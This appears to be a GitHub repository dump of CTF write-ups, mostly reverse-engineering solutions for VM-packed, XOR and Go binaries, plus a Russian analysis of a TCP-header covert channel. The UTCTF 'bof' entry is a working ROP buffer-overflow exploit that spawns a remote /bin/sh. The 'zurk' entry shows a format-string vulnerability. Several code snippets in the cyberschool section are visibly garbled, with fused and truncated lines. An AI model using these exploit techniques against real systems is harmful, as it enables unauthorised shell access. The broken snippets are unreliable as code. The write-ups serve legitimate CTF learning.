--------------------------------------------------------------------------- 72 | .text:004125B2 db 0EAh ; ê 73 | .text:004125B3 db 58h ; X 74 | .text:004125B4 ; --------------------------------------------------------------------------- 75 | .text:004125B4 76 | .text:004125B4 loc_4125B4: ; CODE XREF: .text:004125B0↑j 77 | .text:004125B4 mov byte ptr [esp+7], 6Fh ; 'o' 78 | .text:004125B9 mov byte ptr [esp+8], 70h ; 'p' 79 | .text:004125BE mov byte ptr [esp+9], 73h ; 's' 80 | .text:004125C3 mov byte ptr [esp+0Ah], 5Fh ; '_' 81 | .text:004125C8 mov byte ptr [esp+0Bh], 64h ; 'd' 82 | .text:004125CD mov byte ptr [esp+0Ch], 69h ; 'i' 83 | .text:004125D2 mov byte ptr [esp+0Dh], 64h ; 'd' 84 | .text:004125D7 mov byte ptr [esp+0Eh], 5Fh ; '_' 85 | .text:004125DC mov byte ptr [esp+0Fh], 69h ; 'i' 86 | .text:004125E1 mov byte ptr [esp+10h], 5Fh ; '_' 87 | .text:004125E6 mov byte ptr [esp+11h], 64h ; 'd' 88 | .text:004125EB mov byte ptr [esp+12h], 6Fh ; 'o' 89 | .text:004125F0 mov byte ptr [esp+13h], 5Fh ; '_' 90 | .text:004125F5 mov byte ptr [esp+14h], 74h ; 't' 91 | .text:004125FA mov byte ptr [esp+15h], 68h ; 'h' 92 | .text:004125FF mov byte ptr [esp+16h], 74h ; 't' 93 | .text:00412604 mov byte ptr [esp+17h], 7Dh ; '}' 94 | .text:00412609 mov byte ptr [esp+18h], 0Ah 95 | .text:0041260E mov byte ptr [esp+19h], 0 96 | .text:00412613 push esp 97 | .text:00412614 call print 98 | ``` 99 | 100 | `auctf{oops_did_i_do_tht}` -------------------------------------------------------------------------------- /codegate2020/Challenge Machine/README.md: -------------------------------------------------------------------------------- 1 | ## HOW NOT TO SOLVE CHALLENGE MACHINE (333 points) 2 | 3 | In this challenge we are given an elf file "simple machine" and "target". The challenge speaks for itself, we are dealing with virtual machine. The "target" is the vm state that it is processing. 4 | 5 | First things first, we have to find the dispatch routine. The place, where opcodes gets executed. In this case it is at offset 0x17c0. After some reversing I made VM struct for better view. 6 | 7 | ```c 8 | typedef struct vm { 9 | char c0; 10 | char c1; 11 | char c2; 12 | char c3; 13 | int dw4; 14 | int dw8; 15 | int dw12; 16 | int dw16; 17 | int dw20; 18 | int pc_counter; // 28 19 | unsigned short c30; 20 | unsigned short c32; 21 | unsigned short sh36; 22 | unsigned short sh38; 23 | unsigned char yyy0; 24 | unsigned char yyy1; 25 | unsigned char instr_offset; 26 | unsigned char yyy3; 27 | unsigned short sh1; 28 | unsigned short sh2; 29 | unsigned short c48; 30 | char always_true; 31 | char c51; 32 | unsigned char opcode; 33 | char xx1; 34 | unsigned short xx2; 35 | unsigned short reg1; // 56 36 | unsigned short reg2; // 58 37 | char is_next_ins; // 56 38 | char c57; // 57 39 | char c58; // 58 40 | char c59; // 59 41 | unsigned short c60; // 60 42 | unsigned short answer; // 62 43 | unsigned char zz1; 44 | unsigned char zz2; 45 | } VM, *PVM; 46 | ``` 47 | 48 | 49 | 50 | And here is the dispatch routine with struct applied. 51 | 52 | ![dispatcher](images/dispatcher.png) 53 | 54 | So, the way you should solve this challenge is by writing the disassembler for vm. Reverse the algorithm and get a flag. I was too lazy for that and made side channel attack on algo. 55 | 56 | As you can see from decompilation view we only have **3** math operations (multiplication, xor, addition). Based on that and the fact that **target** file is pretty small the algorithm should be very simple. 57 | 58 | ------ 59 | 60 | ### Solution: 61 | 62 | Place breakpoints on your input memory location and every case in switch case statement in dispatch routine. 63 | 64 | ![hwbp](images/hwbp.png) 65 | 66 | 67 | 68 | Hit run and you'll break on memory access of your flag. Notice that program gets **2 bytes** at the time from your input. 69 | 70 | 71 | 72 | ![fetch_input](images/fetch_input.png) 73 | 74 | 75 | 76 | Hit run and you break at dispatch routine "case 1" (which is addition). Notice that first argument is stored at **[rdi + 36h]** and the second one at **[rdi + 34h]**. 77 | 78 | ![case1](images/case1.png) 79 | 80 | Following breakpoints we can see that if **[rdi + 36h]** (that holds special value) + **[rdi + 34h]** (that holds 2 bytes from our input) == 0x0000 then we pass, else we exit. 81 | 82 | So... following this pattern on every 2 bytes from our input we get our algo. 83 | 84 | ```python 85 | 0x???? + 0xb0bd == 0 86 | 0x???? + 0xbabc == 0 87 | 0x???? + 0xbeb9 == 0 88 | 0x???? + 0xbaac == 0 89 | 0x???? + 0xcfce == 0 90 | (0x63f7 ^ 0x????) + 0xf974 == 0 91 | (0xa419 ^ 0x????) + 0x2b9d == 0 92 | (0xec2b ^ 0x????) + 0x4caf == 0 93 | (0x347d ^ 0x????) + 0xbee1 == 0 94 | (0x5c87 ^ 0x????) + 0xfc0d == 0 95 | (0xe589 ^ 0x????) + 0x6e48 == 0 96 | (0x2e9b ^ 0x????) + 0xe03c == 0 97 | (0x73ad ^ 0x????) + 0xd322 == 0 98 | (0x94f7 ^ 0x????) + 0x1979 == 0 99 | (0xbd19 ^ 0x????) + 0x36d6 == 0 100 | (0xc72b ^ 0x????) + 0x40e8 == 0 101 | ``` 102 | 103 | 104 | 105 | ```python 106 | import binascii 107 | 108 | magic_vals = [ 109 | (0x63f7, 0xf974), 110 | (0xa419, 0x2b9d), 111 | (0xec2b, 0x4caf), 112 | (0x347d, 0xbee1), 113 | (0x5c87, 0xfc0d), 114 | (0xe589, 0x6e48), 115 | (0x2e9b, 0xe03c), 116 | (0x73ad, 0xd322), 117 | (0x94f7, 0x1979), 118 | (0xbd19, 0x36d6), 119 | (0xc72b, 0x40e8)] 120 | 121 | flag = b'' 122 | 123 | for item in magic_vals: 124 | for i in range(0xffff): 125 | x = (item[0] ^ i) + item[1] 126 | if x & 0xffff == 0: 127 | flag += binascii.unhexlify(hex(i)[2:])[::-1] 128 | 129 | print(flag) 130 | ``` 131 | 132 | ```bash 133 | b'{ezpz_but_1t_1s_pr3t3xt}' 134 | ``` 135 | 136 | -------------------------------------------------------------------------------- /codegate2020/Challenge Machine/images/case1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/codegate2020/Challenge Machine/images/case1.png -------------------------------------------------------------------------------- /codegate2020/Challenge Machine/images/dispatcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/codegate2020/Challenge Machine/images/dispatcher.png -------------------------------------------------------------------------------- /codegate2020/Challenge Machine/images/fetch_input.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/codegate2020/Challenge Machine/images/fetch_input.png -------------------------------------------------------------------------------- /codegate2020/Challenge Machine/images/hwbp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/codegate2020/Challenge Machine/images/hwbp.png -------------------------------------------------------------------------------- /codegate2020/Challenge Machine/simple_machine: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/codegate2020/Challenge Machine/simple_machine -------------------------------------------------------------------------------- /codegate2020/Challenge Machine/vm.h: -------------------------------------------------------------------------------- 1 | typedef struct vm { 2 | char c0; 3 | char c1; 4 | char c2; 5 | char c3; 6 | int dw4; 7 | int dw8; 8 | int dw12; 9 | int dw16; 10 | int dw20; 11 | int pc_counter; // 28 12 | unsigned short c30; 13 | unsigned short c32; 14 | unsigned short sh36; 15 | unsigned short sh38; 16 | unsigned char yyy0; 17 | unsigned char yyy1; 18 | unsigned char instr_offset; 19 | unsigned char yyy3; 20 | unsigned short sh1; 21 | unsigned short sh2; 22 | unsigned short c48; 23 | char always_true; 24 | char c51; 25 | unsigned char opcode; 26 | char xx1; 27 | unsigned short xx2; 28 | unsigned short reg1; // 56 29 | unsigned short reg2; // 58 30 | char is_next_ins; // 56 31 | char c57; // 57 32 | char c58; // 58 33 | char c59; // 59 34 | unsigned short c60; // 60 35 | unsigned short answer; // 62 36 | unsigned char zz1; 37 | unsigned char zz2; 38 | } VM, *PVM; -------------------------------------------------------------------------------- /cyberschool/4_/README.md: -------------------------------------------------------------------------------- 1 | ### 4 таск 2 | 3 | сказано, что на флаг два раза сделали rot с неизвестным сдвигом по ascii символам. 4 | 5 | Решение: 6 | 7 | Пишем брутфорс rot от 0 до 255 два раза и если получаются символы в интервале от 32 до 127 (те, которые можно вывести на экран), сохраняем в файл. 8 | 9 | ```python 10 | flag = 'fhkhshold 127: 30 | b = True 31 | if b: 32 | continue 33 | f.write(t + '\n') 34 | 35 | f.close() 36 | 37 | ``` 38 | 39 | После чего находим часто повторяющуюся строку 40 | 41 | **morozovskCSMSU{main_62ddae1335888bce9afabaa41eb600}** -------------------------------------------------------------------------------- /cyberschool/5_/README.md: -------------------------------------------------------------------------------- 1 | ### Таск 5 2 | 3 | достаточно открыть файл в иде :) 4 | 5 | ![5](images/5.png) -------------------------------------------------------------------------------- /cyberschool/5_/images/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/cyberschool/5_/images/5.png -------------------------------------------------------------------------------- /cyberschool/rev/1/1.asm: -------------------------------------------------------------------------------- 1 | global main 2 | extern printf 3 | 4 | main: 5 | mov dword [flag + 6], 1870225259 6 | mov eax, 3738091242 7 | ror eax, 1 8 | mov dword [flag + 10], eax 9 | mov eax, 2342557323 10 | xor eax, 0xFFFFFFFF 11 | bswap eax 12 | mov dword [flag + 14], eax 13 | push flag 14 | call printf 15 | add esp, 4 16 | jmp _stop 17 | 18 | _stop: 19 | jmp _stop 20 | 21 | section .data 22 | 23 | flag: 24 | db "CSMSU{" 25 | resb 12 26 | db '}' 27 | db '\0' 28 | -------------------------------------------------------------------------------- /cyberschool/rev/1/1.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import struct 3 | 4 | # Rotate right: 0b1001 --> 0b1100 5 | ror = lambda val, r_bits, max_bits: \ 6 | ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ 7 | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) 8 | 9 | def swap32(i): 10 | return struct.unpack("I", i))[0] 11 | 12 | p32 = lambda x: struct.pack('> 1** 33 | 34 | Третье двойное слово заполняется **bswap32(2342557323 ^ 0xffffffff)** 35 | 36 | ### Решение 37 | 38 | ```python 39 | import binascii 40 | import struct 41 | 42 | # Rotate right: 0b1001 --> 0b1100 43 | ror = lambda val, r_bits, max_bits: \ 44 | ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ 45 | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) 46 | 47 | def swap32(i): 48 | return struct.unpack("I", i))[0] 49 | 50 | p32 = lambda x: struct.pack('seq, tcp_header->ack_seq, tcp_header->check** 2 | 3 | Значение **tcp_header->seq** == 0х12345678 означает начало передачи данных, при этом сохраняется в глобальную переменную **key** значение из **tcp_header->ack_seq**, обнуляется буфер и переменная обозначающая передачу данных **is_transmiting** = 1. 4 | 5 | В последующих пакетах, у которых **tcp_header->seq** == **key**, значение **tcp_header->ack_seq** является командой. 6 | 7 | Если в следующем пакете **tcp_header->ack_seq** > 0x400, то передача заканчивается и программа уходит в бесконечный цикл. 8 | 9 | Если **tcp_header->ack_seq** <= 0x400, то это значение используется в качестве размера буфера, который будет передан. 10 | 11 | В последующих пакетах **tcp_header->ack_seq** передает int32 значение, а высший байт из **tcp_header->check** используется в качестве смещения в буфере куда кладутся данные. 12 | 13 | В конце, если **tcp_header->ack_seq** == 0xdeadfa11, то заполненный буфер шифруется по следующему алгоритму: 14 | 15 | ```c 16 | char *encrypt(char *buff, size_t size) 17 | { 18 | char key; 19 | int i; 20 | char *out; 21 | 22 | out = (char *)malloc(size); 23 | key = 0x95; 24 | for ( i = 0; size > i; ++i ) 25 | { 26 | out[i] = key ^ buff[i]; 27 | key = key * key + 25; 28 | } 29 | return out; 30 | } 31 | ``` 32 | 33 | -------------------------------------------------------------------------------- /securinets/rev/KAVM/README.md: -------------------------------------------------------------------------------- 1 | # KAVM (12 solves) 2 | 3 | >I think "K" stands for KERRO and "A" for Anis_Boss and you know the rest... :D 4 | > 5 | >Authors : KERRO & Anis_Boss 6 | 7 | 8 | 9 | We are given 32bit binary, the binary is packed with virtual machine. 10 | 11 | The dispatch function is simple. We fetch byte from bytecode and process it. 12 | 13 | ```c++ 14 | int main() 15 | { 16 | int opcode; 17 | 18 | while ( next ) 19 | { 20 | ++count; 21 | opcode = fetch_opcode(); 22 | vm(opcode); 23 | } 24 | return 0; 25 | } 26 | ``` 27 | 28 | I wont list vm code here, it is pretty simple. 29 | 30 | Solution: 31 | 32 | Place hardware breakpoints on access on our entered flag. Notice, that it is being xored with index of array. 33 | 34 | The algo looks like this: 35 | 36 | ```python 37 | def algo(): 38 | out = '' 39 | inp = str(input()) 40 | for i in range(len(inp)): 41 | out += chr(ord(inp[i]) ^ (flag_len - i)) 42 | print(out) 43 | ``` 44 | 45 | After that it is being compared with hardcoded buffer. 46 | 47 | full script: 48 | 49 | ```python 50 | import sys 51 | from binascii import unhexlify as ux 52 | 53 | flag_len = 0x20 54 | # hardcoded flag 55 | flag = ux('53 7A 7D 68 6E 72 74 7C 6C 64 6D 63 79 4C 62 63 20 7B 3D 6E 78 3A 3A 67 57 75 36 66 6F 36 23 7C'.replace(' ', '')) 56 | 57 | def main(): 58 | out = '' 59 | for i in range(len(flag)): 60 | out += chr(flag[i] ^ (flag_len - i)) 61 | print(out) 62 | 63 | if __name__ == "__main__": 64 | sys.exit(main()) 65 | ``` 66 | 67 | yields the flag: 68 | 69 | `securinets{vm_pr0t3ct10n_r0ck5!}` -------------------------------------------------------------------------------- /securinets/rev/KAVM/task: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/securinets/rev/KAVM/task -------------------------------------------------------------------------------- /securinets/rev/change/README.md: -------------------------------------------------------------------------------- 1 | # CHANGE 2 | 3 | The binary `task` is a python compiled script. We use pyi-archive-viewer to extract embedded python script. 4 | 5 | We add `03 f3 0d 0a 6c e7 a3 5b` at the beginning of pyc file since its pytnon2.7. 6 | If it was python3+ we would add `42 0d 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00` 7 | 8 | After that we use `uncompyle6` to convert pyc into python script. 9 | 10 | task.py: 11 | 12 | ```python 13 | # uncompyle6 version 3.6.3 14 | # Python bytecode 2.7 (62211) 15 | # Decompiled from: Python 3.6.9 (default, Nov 7 2019, 10:44:02) 16 | # [GCC 8.3.0] 17 | # Embedded file name: task.py 18 | # Compiled at: 2018-09-20 21:31:08 19 | from hashlib import md5 20 | from base64 import b64decode 21 | from base64 import b64encode 22 | from Crypto.Cipher import AES 23 | from Crypto.Random import get_random_bytes 24 | import random 25 | 26 | class cipher: 27 | __module__ = __name__ 28 | 29 | def __init__(self, key): 30 | self.key = md5(key.encode('utf8')).digest() 31 | self.padd = 0 32 | 33 | def encrypt(self, data): 34 | iv = get_random_string('AAAAAAAAAAAAAAAA') 35 | self.cipher = AES.new(self.key, AES.MODE_CBC, iv) 36 | ta = self.cipher.encrypt(self.pad(data)) 37 | return b64encode(iv + ta) 38 | 39 | def decrypt(self, data): 40 | raw = b64decode(data) 41 | self.cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size]) 42 | x = self.cipher.decrypt(raw[AES.block_size:]) 43 | return self.unpad(x) 44 | 45 | def pad(self, strr): 46 | x = 16 - len(strr) % 16 47 | final = strr + chr(x) * x 48 | self.padd = x 49 | return final 50 | 51 | def unpad(self, strr): 52 | return strr[:len(strr) - self.padd] 53 | 54 | 55 | def get_random_string(strr): 56 | ch = '' 57 | for i in range(len(strr)): 58 | ch += chr(random.randint(23, 255)) 59 | 60 | return ch 61 | 62 | 63 | def phase1(arg1, arg2): 64 | res = '' 65 | for i in range(len(arg1)): 66 | res += chr(ord(arg1[i]) ^ ord(arg2[i])) 67 | 68 | return res 69 | 70 | 71 | def main(): 72 | random.seed(2020) 73 | last_ci = 'tMGb4+vbwHmn1Vq826krTWNtO0YHhOxrgz0SxBmsKiiV6/PlMyy1cavIOWuyCo8agFAOSDZhDY9OLXaKDqiFGA==' 74 | last_ci = b64decode(last_ci) 75 | print 'Welcome to SECURINETS CTF!' 76 | username = raw_input('Please enter the username:') 77 | password = raw_input('Please enter the password:') 78 | cipher1 = username + password 79 | tmp = get_random_string(cipher1) 80 | res = phase1(cipher1, tmp) 81 | cipher2 = '' 82 | for i in range(len(cipher1)): 83 | cipher2 += chr(ord(res[i]) + 1) 84 | 85 | cipher2 = cipher2[::-1] 86 | tool = cipher('securinets') 87 | last_c = tool.encrypt(cipher2) 88 | last_c = b64decode(last_c) 89 | if last_c == last_ci: 90 | print 'Good job!\nYou can submit with securinets{%s}' % (username + ':' + password) 91 | else: 92 | print ':( ...' 93 | 94 | if __name__ == '__main__': 95 | main() 96 | # okay decompiling go.pyc 97 | 98 | ``` 99 | 100 | To get the flag, our goal is to do everything in reverse: 101 | 102 | ```python 103 | def solve(): 104 | 105 | last_ci = 'tMGb4+vbwHmn1Vq826krTWNtO0YHhOxrgz0SxBmsKiiV6/PlMyy1cavIOWuyCo8agFAOSDZhDY9OLXaKDqiFGA==' 106 | random.seed(2020) 107 | tool = cipher('securinets') 108 | tool.padd = 8 109 | last_ci = tool.decrypt(last_ci) 110 | 111 | last_ci = last_ci[::-1] # unpaded & reversed 112 | #print(last_ci) 113 | 114 | cipher2 = '' 115 | for i in last_ci: 116 | cipher2 += chr(ord(i) -1) 117 | 118 | 119 | tmp = get_random_string(cipher2) 120 | 121 | print(phase1(cipher2, tmp)) 122 | 123 | ``` 124 | 125 | gives `h4rdc0r362782cb85ba466014d649915072c85ee` 126 | 127 | So, after asking admin, he said the that the flag is `securinets{h4rdc0r3:62782cb85ba466014d649915072c85ee}` 128 | -------------------------------------------------------------------------------- /securinets/rev/static EYELESS REVENGE/README.md: -------------------------------------------------------------------------------- 1 | # static EYELESS REVENGE (11 solves) 2 | 3 | > They can't see me Roliiiiiiing... 4 | > 5 | > Authors : KERRO & Anis_Boss 6 | 7 | 8 | 9 | This time we are given binary written in go.. 10 | 11 | main: 12 | 13 | ```c++ 14 | void __noreturn check() 15 | { 16 | int v0; // eax 17 | int i; // [rsp+0h] [rbp-380h] 18 | int j; // [rsp+4h] [rbp-37Ch] 19 | int v3; // [rsp+8h] [rbp-378h] 20 | int k; // [rsp+Ch] [rbp-374h] 21 | int l; // [rsp+10h] [rbp-370h] 22 | int _check; // [rsp+14h] [rbp-36Ch] 23 | int m; // [rsp+18h] [rbp-368h] 24 | __int64 v8; // [rsp+20h] [rbp-360h] 25 | int rand[52]; // [rsp+30h] [rbp-350h] 26 | int v10[52]; // [rsp+100h] [rbp-280h] 27 | int v11[50]; // [rsp+1D0h] [rbp-1B0h] 28 | char hello[56]; // [rsp+2A0h] [rbp-E0h] 29 | char hello_1[56]; // [rsp+2E0h] [rbp-A0h] 30 | char buffer; // [rsp+320h] [rbp-60h] 31 | _BYTE v15[7]; // [rsp+321h] [rbp-5Fh] 32 | _BYTE inp[5]; // [rsp+32Bh] [rbp-55h] 33 | unsigned __int64 v17; // [rsp+368h] [rbp-18h] 34 | 35 | v17 = __readfsqword(0x28u); 36 | memset(v11, 0, sizeof(v11)); 37 | v11[0] = 0xF6; 38 | v11[1] = 0x9B; 39 | v11[2] = 5; 40 | v11[3] = 0xFE; 41 | v11[4] = 0x36; 42 | v11[5] = 0xA3; 43 | v11[6] = 0x3E; 44 | v11[7] = 0x93; 45 | v11[8] = 0xC8; 46 | v11[9] = 0x2C; 47 | v11[10] = 0xB2; 48 | v11[11] = 0x6E; 49 | v11[12] = 0x33; 50 | v11[13] = 0x7C; 51 | v11[14] = 0x93; 52 | v11[15] = 0x2A; 53 | v11[16] = 0xC4; 54 | v11[17] = 0x6E; 55 | v11[18] = 0xA4; 56 | v11[19] = 0xF; 57 | v11[20] = 0x8C; 58 | v11[21] = 0xD8; 59 | v11[22] = 0x7D; 60 | v11[23] = 0xDF; 61 | v11[24] = 0xAE; 62 | v11[25] = 0xC6; 63 | v11[26] = 0x7C; 64 | v11[27] = 0xD7; 65 | v11[28] = 0xEF; 66 | v11[29] = 0xA5; 67 | v11[30] = 0x71; 68 | v11[31] = 0x48; 69 | v11[32] = 0xC8; 70 | v11[33] = 0x49; 71 | v11[34] = 0x3A; 72 | v11[35] = 0xB2; 73 | v11[36] = 0x78; 74 | v11[37] = 0xF5; 75 | v11[38] = 0xCC; 76 | v11[39] = 0xBE; 77 | v11[40] = 0x9A; 78 | v11[41] = 0x47; 79 | v11[42] = 0xD2; 80 | v11[43] = 0x87; 81 | v11[44] = 0x10; 82 | v11[45] = 0xFD; 83 | v11[46] = 0x78; 84 | v11[47] = 0x1D; 85 | *(_QWORD *)hello = '\xCE\x8B\x83\x81\x8D\x82\x8B\xB9'; 86 | *(_QWORD *)&hello[8] = '\xBC\xBB\xAD\xAB\xBD\xCE\x81\x9A'; 87 | *(_QWORD *)&hello[16] = '\xBA\xAD\xCE\xBD\xBA\xAB\xA0\xA7'; 88 | *(_QWORD *)&hello[24] = '\xCF\xA8'; 89 | *(_QWORD *)&hello[32] = '\0'; 90 | *(_QWORD *)&hello[40] = '\0'; 91 | *(_WORD *)&hello[48] = '\0'; 92 | for ( i = 0; i < strlen(hello); ++i ) 93 | hello[i] ^= 0xEEu; 94 | puts_0((__int64)hello); 95 | *(_QWORD *)hello_1 = '\xCE\x8B\x83\xCE\x8B\x98\x87\xA9'; 96 | *(_QWORD *)&hello_1[8] = '\x9D\x9D\x8F\x9E\xCE\x8B\x86\x9A'; 97 | *(_QWORD *)&hello_1[16] = '\xD4\x8B\x9D\x8F\x9C\x86\x9E'; 98 | *(_QWORD *)&hello_1[24] = '\0'; 99 | *(_QWORD *)&hello_1[32] = '\0'; 100 | *(_QWORD *)&hello_1[40] = '\0'; 101 | *(_WORD *)&hello_1[48] = '\0'; 102 | for ( j = 0; j < strlen(hello_1); ++j ) 103 | hello_1[j] ^= 0xEEu; 104 | puts((char)hello_1); 105 | fgets(&buffer, 70LL, off_6FF088); 106 | v3 = 0; 107 | while ( buffer != 's' ) 108 | ++v3; 109 | v8 = 0xDEADBEEFLL * (int)sub_400488((__int64)v15, (__int64)"ecurinets{", 10LL); 110 | while ( v8 ) 111 | puts((char)" SECURINETS FTW! "); 112 | seed(buffer); 113 | for ( k = 0; k <= 49; ++k ) 114 | { 115 | v0 = rand(); 116 | rand[k] = (unsigned __int8)to_char(v0); 117 | } 118 | for ( l = 0; l < strlen(inp); ++l ) 119 | v10[l] = rand[l] ^ (char)inp[l]; 120 | _check = 0; 121 | for ( m = 0; m <= 47; ++m ) 122 | _check += v11[m] ^ v10[m]; 123 | if ( _check ) 124 | puts_0((__int64)"NOOOOOOO"); 125 | else 126 | puts((char)"Good Job!\nsubmit with\n%s", &buffer); 127 | sub_4240C0(0LL); 128 | } 129 | ``` 130 | 131 | First, program checks if our input starts with **securinets{**, after that it sends 's' to srand as a seed 132 | 133 | After that it checks: 134 | 135 | **input[i] ^ key[i] ^ rand_seq[i] == 0** 136 | 137 | Solution: 138 | 139 | ```python 140 | 141 | import sys 142 | from z3 import * 143 | 144 | key = [ 145 | 0xf6, 0x9b, 0x05, 0xfe, 146 | 0x36, 0xa3, 0x3e, 0x93, 147 | 0xc8, 0x2c, 0xb2, 0x6e, 148 | 0x33, 0x7c, 0x93, 0x2a, 149 | 0xc4, 0x6e, 0xa4, 0x0f, 150 | 0x8c, 0xd8, 0x7d, 0xdf, 151 | 0xae, 0xc6, 0x7c, 0xd7, 152 | 0xef, 0xa5, 0x71, 0x48, 153 | 0xc8, 0x49, 0x3a, 0xb2, 154 | 0x78, 0xf5, 0xcc, 0xbe, 155 | 0x9a, 0x47, 0xd2, 0x87, 156 | 0x10, 0xfd, 0x78, 0xd1 157 | ] 158 | 159 | # random seq given 's' as a seed 160 | seq = [ 161 | 0x9f, 0xc4, 0x77, 0xcd, 162 | 0x02, 0xcf, 0x52, 0xea, 163 | 0x97, 0x4e, 0x81, 0x02, 164 | 0x02, 0x4f, 0xe5, 0x19, 165 | 0x9b, 0x5f, 0xca, 0x50, 166 | 0xf9, 0xaa, 0x22, 0xb9, 167 | 0xdb, 0xb2, 0x09, 0xa5, 168 | 0xdc, 0xfa, 0x03, 0x7b, 169 | 0xbe, 0x7a, 0x48, 0xc1, 170 | 0x49, 0x9b, 0xab, 0xe1, 171 | 0xe9, 0x2c, 0xe3, 0xeb, 172 | 0x7c, 0xc8, 0x05, 0x17, 173 | 0x27, 0xcf] 174 | 175 | flag_len = 48 176 | 177 | def find_all_posible_solutions(s): 178 | while s.check() == sat: 179 | model = s.model() 180 | block = [] 181 | out = '' 182 | for i in range(flag_len): 183 | c = globals()['b%i' % i] 184 | out += chr(model[c].as_long()) 185 | block.append(c != model[c]) 186 | s.add(Or(block)) 187 | print(out) 188 | 189 | def main(): 190 | s = Solver() 191 | check = 0 192 | for i in range(flag_len): 193 | globals()['b%d' % i] = BitVec('b%d' % i, 8) 194 | 195 | for i in range(flag_len): 196 | s.add(globals()['b%d' % i] ^ seq[i] ^ key[i] == 0) 197 | 198 | find_all_posible_solutions(s) 199 | 200 | 201 | if __name__ == "__main__": 202 | sys.exit(main()) 203 | 204 | ``` 205 | 206 | gives the flag `i_r34lly_b3l13v3_1n_ur_futur3_r3v3rs1ng_sk1ll5}` 207 | 208 | -------------------------------------------------------------------------------- /securinets/rev/static EYELESS REVENGE/task: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/securinets/rev/static EYELESS REVENGE/task -------------------------------------------------------------------------------- /securinets/rev/static EYELESS/task: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/securinets/rev/static EYELESS/task -------------------------------------------------------------------------------- /securinets/rev/warmup/README.md: -------------------------------------------------------------------------------- 1 | # Warmup : Welcome to securinets CTF (188 solves) 2 | 3 | > Is this enough for you? 4 | > 5 | > Authors : KERRO & Anis_Boss 6 | 7 | main: 8 | 9 | ```c++ 10 | int main(int a1, char **a2, char **a3) 11 | { 12 | size_t v3; 13 | int v5; 14 | int i; 15 | 16 | write(1, "Welcome to SECURINETS CTF\n", 0x1AuLL); 17 | read(0, s, 0x31uLL); 18 | s[strlen(s) - 1] = 0; 19 | v5 = 0; 20 | strcpy(dest, s); 21 | v3 = strlen(s); 22 | memfrob(s, v3); 23 | for ( i = 0; i <= 19; ++i ) 24 | v5 += (char)(s[i] ^ byte_201020[i]); 25 | if ( v5 ) 26 | puts(":(..."); 27 | else 28 | printf("Good job\nYou can submit with securinets{%s}\n", dest); 29 | return 0LL; 30 | } 31 | ``` 32 | 33 | Solution: 34 | 35 | ```python 36 | flag = [ 37 | 0x46, 0x19, 0x5e, 0x0d, 38 | 0x59, 0x75, 0x5d, 0x1e, 39 | 0x58, 0x47, 0x75, 0x1b, 40 | 0x5e, 0x75, 0x5f, 0x5a, 41 | 0x75, 0x48, 0x45, 0x53, 42 | 0x1e 43 | ] 44 | 45 | out = '' 46 | for i in flag: 47 | out += chr(i ^ 42) 48 | print(out) 49 | ``` 50 | 51 | yields `l3t's_w4rm_1t_up_boy4` -------------------------------------------------------------------------------- /securinets/rev/warmup/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/securinets/rev/warmup/main -------------------------------------------------------------------------------- /utctf/pwn/bof/README.md: -------------------------------------------------------------------------------- 1 | # bof (211 solves) 2 | 3 | ```python 4 | from pwn import * 5 | 6 | debug = False 7 | 8 | def main(): 9 | if debug: 10 | r = process('pwnable') 11 | else: 12 | r = remote('binary.utctf.live', 9002) 13 | rop = b'' 14 | rop += b'A' * 120 # padding 15 | rop += p64(0x400693) # pop rdi 16 | rop += p64(0x400700) # /bin/sh 17 | rop += p64(0x400691) # pop rsi pop r15 18 | rop += p64(0) # rsi 19 | rop += p64(0) # r15 20 | rop += p64(0x400451) # ret 21 | rop += p64(0x400490) # execve 22 | r.sendline(rop) 23 | r.interactive() 24 | 25 | 26 | if __name__ == "__main__": 27 | main() 28 | ``` 29 | 30 | ``` 31 | $ ls 32 | flag.txt 33 | $ cat flag.txt 34 | utflag{thanks_for_the_string_!!!!!!} 35 | ``` 36 | 37 | -------------------------------------------------------------------------------- /utctf/pwn/zurk/README.md: -------------------------------------------------------------------------------- 1 | # zurk (84 solves) 2 | 3 | Description: 4 | 5 | > nc binary.utctf.live 9003 6 | > 7 | > *by: hk* 8 | 9 | 10 | 11 | ```c++ 12 | int main(int argc, const char **argv, const char **envp) 13 | { 14 | welcome(); // print welcome message 15 | while ( 1 ) 16 | do_move(); 17 | } 18 | ``` 19 | 20 | ```c++ 21 | void do_move() 22 | { 23 | char s[64]; // [rsp+0h] [rbp-40h] 24 | 25 | puts("What would you like to do?"); 26 | fgets(s, 0x32, stdin); 27 | s[strcspn(s, "\n")] = 0; 28 | if ( !strcmp(s, "go west") ) 29 | { 30 | puts("You move west to arrive in a cave dimly lit by torches."); 31 | puts("The cave two tunnels, one going east and the other going west."); 32 | } 33 | else if ( !strcmp(s, "go east") ) 34 | { 35 | puts("You move east to arrive in a cave dimly lit by torches."); 36 | puts("The cave two tunnels, one going east and the other going west."); 37 | } 38 | else 39 | { 40 | printf(s); // vulnurability 41 | puts(" is not a valid instruction."); 42 | } 43 | } 44 